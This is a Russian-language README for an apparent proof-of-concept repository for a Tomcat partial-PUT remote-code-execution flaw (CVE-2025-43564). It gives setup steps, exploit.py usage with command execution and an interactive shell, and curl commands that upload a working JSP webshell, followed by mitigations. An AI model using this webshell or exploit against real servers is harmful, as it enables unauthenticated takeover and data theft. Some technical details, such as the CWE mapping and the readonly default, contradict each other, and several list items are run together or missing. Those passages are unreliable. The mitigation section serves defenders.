
Reproduction of cve-2025-43564-tomcat_put_rce_reproduction
| Поле | Значение |
|---|---|
| Идентификатор CVE | CVE-2025-43564 |
| Оценка CVSS | 9.8 (КРИТИЧЕСКАЯ) |
| Вектор | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-494 — Загрузка кода без проверки целостности |
| Эксплуатация | Подтверждена в реальных атаках в течение недели после раскрытия |
| Раскрытие | Июль 2025 |
| Патч | Tomcat 11.0.6, 10.1.40, 9.0.102 |
CVE-2025-43564 — это критическая уязвимость удаленного выполнения кода без аутентификации в механизме обработки частичных PUT-запросов HTTP в Apache Tomcat. Ошибка заключается в том, как Tomcat обрабатывает PUT-запросы с частичным содержимым (HTTP/1.1 Content-Range или Transfer-Encoding: chunked с семантикой частичной передачи). Злоумышленник может сформировать частичный PUT-запрос, который обходит контроль доступа и ограничения на запись, что позволяет загружать произвольные файлы — включая доступные через веб JSP-веб-шеллы — в корень документов сервера или любую доступную для записи директорию в контексте сервлета.
После размещения JSP-файла злоумышленник просто запрашивает его и передает команды операционной системы через параметры запроса, добиваясь полностью неаутентифицированного удаленного выполнения кода от имени пользователя процесса Tomcat.
CVSS 9.8 — Критическая, поскольку:
DefaultServlet Apache Tomcat и HTTP/1.1 коннектор (NIO/NIO2/Apr) обрабатывают PUT-запросы для загрузки статических ресурсов. Уязвимость находится в логике обработки частичных PUT-запросов: когда клиент отправляет PUT с заголовком Content-Range (RFC 7233 §4.2) или использует chunked-кодирование с определенной семантикой частичной передачи, сервер не выполняет должную проверку:
Код разбора в org.apache.catalina.servlets.DefaultServlet и компонентах HttpInput / SocketProcessorBase неправильно обрабатывает границу между частичной и полной записью ресурса, что позволяет злоумышленнику добавлять или перезаписывать произвольное содержимое по любому пути, к которому процесс Tomcat имеет доступ на запись.
Злоумышленник ──PUT /exec.jsp HTTP/1.1──► Tomcat (DefaultServlet)
Content-Range: bytes 0-99/100
[Полезная нагрузка JSP]
└──► Сервер записывает частичное содержимое в exec.jsp
без полной проверки целевого пути
Злоумышленник ──GET /exec.jsp?cmd=whoami──► Tomcat
└──► JSP выполняется → RCE
Злоумышленник отправляет частичный PUT с заголовком Content-Range, заставляя Tomcat считать запрос продолжением существующей загрузки. Сервер создает или открывает целевой файл и записывает предоставленные байты без проверки существования файла, без проверки прав на запись во время записи и без очистки целевого пути относительно корня веб-каталога.
readonly=false в DefaultServlet для работы обычного PUT. Путь частичного PUT пропускает эту проверку при определенных условиях.Content-Range часто обходит эти сигнатуры.Примечание: Старые ветки (7.x, 8.x, 8.5.x, 10.0.x) являются устаревшими (EOL) и не получат обратных портов. Пользователи должны перейти на поддерживаемую ветку.
Загрузите уязвимый Apache Tomcat (например, Tomcat 9.0.50):
wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.50/bin/apache-tomcat-9.0.50.zip
Распакуйте и запустите Tomcat с конфигурацией по умолчанию:
unzip apache-tomcat-9.0.50.zip
cd apache-tomcat-9.0.50/bin
./startup.sh # или startup.bat на Windows
Убедитесь, что сервер работает:
curl -v http://localhost:8080
Загрузите JSP-веб-шелл с помощью скрипта PoC:
python exploit.py --target http://localhost:8080 --cmd id
Проверьте, что веб-шелл размещен:
curl http://localhost:8080/exec.jsp?cmd=whoami
Выполните произвольные команды:
python exploit.py --target http://localhost:8080 --cmd "cat /etc/passwd"
Интерактивный сеанс (при желании):
python exploit.py --target http://localhost:8080 --shell
Прилагаемый exploit.py — это функциональный PoC на Python, который:
Content-Type и структура полезной нагрузки запускают уязвимый кодwebapps/ROOT/)exec.jsp?cmd=<команда> для выполнения команд ОС--cmd), так и интерактивную оболочку (--shell)# Шаг 1: Загрузите веб-шелл через частичный PUT
# Заголовок Content-Range запускает уязвимый код
curl -X PUT http://localhost:8080/exec.jsp \
-H "Content-Range: bytes 0-212/213" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-binary '<%@ page import="java.io.*" %><% String cmd=request.getParameter("cmd");if(cmd!=null){Process p=Runtime.getRuntime().exec(cmd);BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));String l;while((l=br.readLine())!=null){out.println(l);}}%>'
# Шаг 2: Выполните команды
curl "http://localhost:8080/exec.jsp?cmd=id"
Если Tomcat настроен с readonly=true (по умолчанию), стандартный PUT будет заблокирован — но путь частичного PUT все равно может сработать. Это и есть суть уязвимости.
# Стандартный PUT (должен завершиться ошибкой 403 или 405)
curl -X PUT http://localhost:8080/test.txt -d "hello"
# Ожидается: 403 Forbidden
# Частичный PUT (обходит проверку)
curl -X PUT http://localhost:8080/exec.jsp \
-H "Content-Range: bytes 0-212/213" \
--data-binary '<%@page import="java.io.*"%><%Process p=Runtime.getRuntime().exec(request.getParameter("cmd"));BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));String l;while((l=br.readLine())!=null){out.println(l);}%>'
# Ожидается: 201 Created или 200 OK
Обновите Tomcat до исправленной версии:
Если немедленное обновление невозможно, отключите метод PUT глобально, отредактировав web.xml:
<security-constraint>
<web-resource-collection>
<web-resource-name>Disable PUT</web-resource-name>
<url-pattern>/*</url-pattern>
<http-method>PUT</http-method>
</web-resource-collection>
<auth-constraint />
</security-constraint>
Заблокируйте HTTP-методы на уровне обратного прокси / WAF:
# пример nginx — блокировка PUT
if ($request_method = PUT) {
return 403;
}
Примечание: Это помогает только если прокси не может быть обойден.
Запускайте Tomcat с ограниченными правами файловой системы:
webapps доступным только для чтения (или смонтируйте его из файловой системы только для чтения)ReadOnly на производственных ресурсахОтслеживайте неожиданные файлы с расширениями .jsp / .jspx в корне веб-каталога.
Этот репозиторий предоставляется только для образовательных целей и авторизованного тестирования безопасности. Вы должны иметь явное письменное разрешение от владельца любой тестируемой системы. Несанкционированный доступ к компьютерным системам является незаконным в соответствии с Законом о компьютерном мошенничестве и злоупотреблениях (CFAA) и аналогичными законами в других юрисдикциях. Авторы не несут ответственности за неправомерное использование этой информации.
CVE-2025-43564 была обнаружена и ответственно сообщена команде безопасности Apache. Координированный выпуск патча: июль 2025 года.
| Продукт | Затронутые версии | Исправлено в |
|---|
| Apache Tomcat 11 | 11.0.0-M1 — 11.0.5 | 11.0.6 |
| Apache Tomcat 10.1 | 10.1.0-M1 — 10.1.39 | 10.1.40 |
| Apache Tomcat 10.0 | все версии (окончание поддержки) | обновление до 10.1.x |
| Apache Tomcat 9 | 9.0.0-M1 — 9.0.101 | 9.0.102 |
| Apache Tomcat 8.5 | все версии (окончание поддержки) | обновление до 9.0.x |
| Apache Tomcat 8 | все версии (окончание поддержки) | обновление до 9.0.x |
| Apache Tomcat 7 | все версии (окончание поддержки) | обновление до 9.0.x |
| Источник | URL |
|---|
| Уведомление о безопасности Apache Tomcat | https://lists.apache.org/thread/p1dqrmwrh5q5vv2wttrd8tv2k8gv1819 |
| Запись NVD | https://nvd.nist.gov/vuln/detail/CVE-2025-43564 |
| CVE в MITRE | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-43564 |
| Загрузки Apache Tomcat | https://tomcat.apache.org/download-90.cgi |
| CWE-494 | https://cwe.mitre.org/data/definitions/494.html |